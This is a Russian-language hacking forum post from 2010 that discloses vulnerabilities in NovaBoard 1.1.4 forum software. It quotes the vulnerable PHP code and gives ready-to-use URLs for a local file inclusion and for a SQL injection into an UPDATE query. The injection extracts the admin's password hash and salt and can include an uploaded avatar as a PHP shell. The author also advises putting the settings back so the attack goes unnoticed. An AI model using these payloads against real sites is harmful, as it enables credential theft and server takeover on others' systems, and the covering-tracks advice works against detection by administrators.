Показать сообщение отдельно
Старый 05.07.2010, 22:07   #3
The matrix
 
Аватар для The matrix
 
Регистрация: 05.07.2010
Сообщений: 39
Репутация: 46
По умолчанию

Тестил на последней 1.1.4
Код:
http://www.novaboard.net/2010/06/novaboard-release-1-1-4/
1) LFI
---------------------------------
Need
Rg=on
mq=off
---------------------------------
structure.php
PHP код:
    if (isset($_GET['forum']) && is_numeric($_GET['forum'])){

            
$forum_id        =    $_GET['forum'];

            
$query2            =    "select THEME from {$db_prefix}categories WHERE ID = '$forum_id'" ;
            
$result2        =    mysql_query($query2) or die("structure.php - Error in query: $query2");
            
$num_result        =    mysql_num_rows($result2);
            if (
$num_result!='0'){
                
$category_theme    =    mysql_result($result20);
            }
            else{
                
$category_theme    =    "";
            }    

        }
        
        if (isset(
$category_theme) && ($category_theme!='')){
            
$theme    =    $category_theme;
        }
// need register_globals
........................................
if (isset(
$category_theme) && ($category_theme!='')){
            
$theme    =    $category_theme;
........................................
if (
file_exists("themes/$theme/includes/header.php")){
            include 
"themes/$theme/includes/header.php";
        }
......................................... 
Как юзать
Код:
http://localhost/nova/index.php?category_theme=../../../../../../../../../[local_file]%00
2) Нашел еще скули требующие rg=on и mq=off
Выложу только самую интересную.
verify.php
PHP код:
if ($_GET['id']!=''){
$hash_id=$_GET['id'];
$hash_id=escape_string($hash_id);

mysql_query("UPDATE {$db_prefix}members SET verified = '1' WHERE md5(pass_salt) = '$hash_id'");

$sql="SELECT ID, NAME FROM {$db_prefix}members WHERE md5(pass_salt) = '$hash_id'";
$sql_result mysql_query($sql) or die ("download.php - Error in query: $sql");
while(
$row mysql_fetch_array($sql_result)) {
    
$new_id $row['ID'];
    
$name$row['NAME'];
}
// register_globals=on
mysql_query("UPDATE {$db_prefix}settings SET stats_member_id='$new_id', stats_member_name='$name', stats_members=stats_members+1"); 
инъект в Update
таблица settings хранит основные настройки форума, мы ее можем update
---------------------------
need
rg=on
mq=off
---------------------------
как юзать.
Если куки не очищены-> чистим
применить можно по разному
1. вывести данные админа
Код:
http://localhost/nova/index.php?page=verify&id=1222&name=1',site_name=(select%20concat(name,0x3a,password,0x3a,pass_salt)%20from%20novaboard_members%20where%20id=1)+--+
идем на главную страницу, вывод палим в имени форума. Не забудьте потом вернуть на место. ато палево.
2. LFI через скуль
если пользователь не авторизован, то инклудится стандартная тема, название которой берется из этой таблицы
structure.php
PHP код:
$query2        =    "select THEME from {$db_prefix}settings" ;
        
$result2    =    mysql_query($query2) or die("Have you run install.php yet?") ;                                  
        
$theme        =    mysql_result($result20);
.......................
        if (
file_exists("themes/$theme/includes/header.php")){
            include 
"themes/$theme/includes/header.php";
        }
....................... 
Код:
http://localhost/nova/index.php?page=verify&id=1222&name=1',theme='../../../../../../../[local_file]%00'+--+
теперь идем на главную страницу, и вместо нее будет висеть проинклуденный файл(если инклудить аватар с пхп кодом шелла, вместо главной страницы будет висеть шелл) Тоже надо не забыть вернуть потом на место тему которая была ато палево.
The matrix вне форума   Ответить с цитированием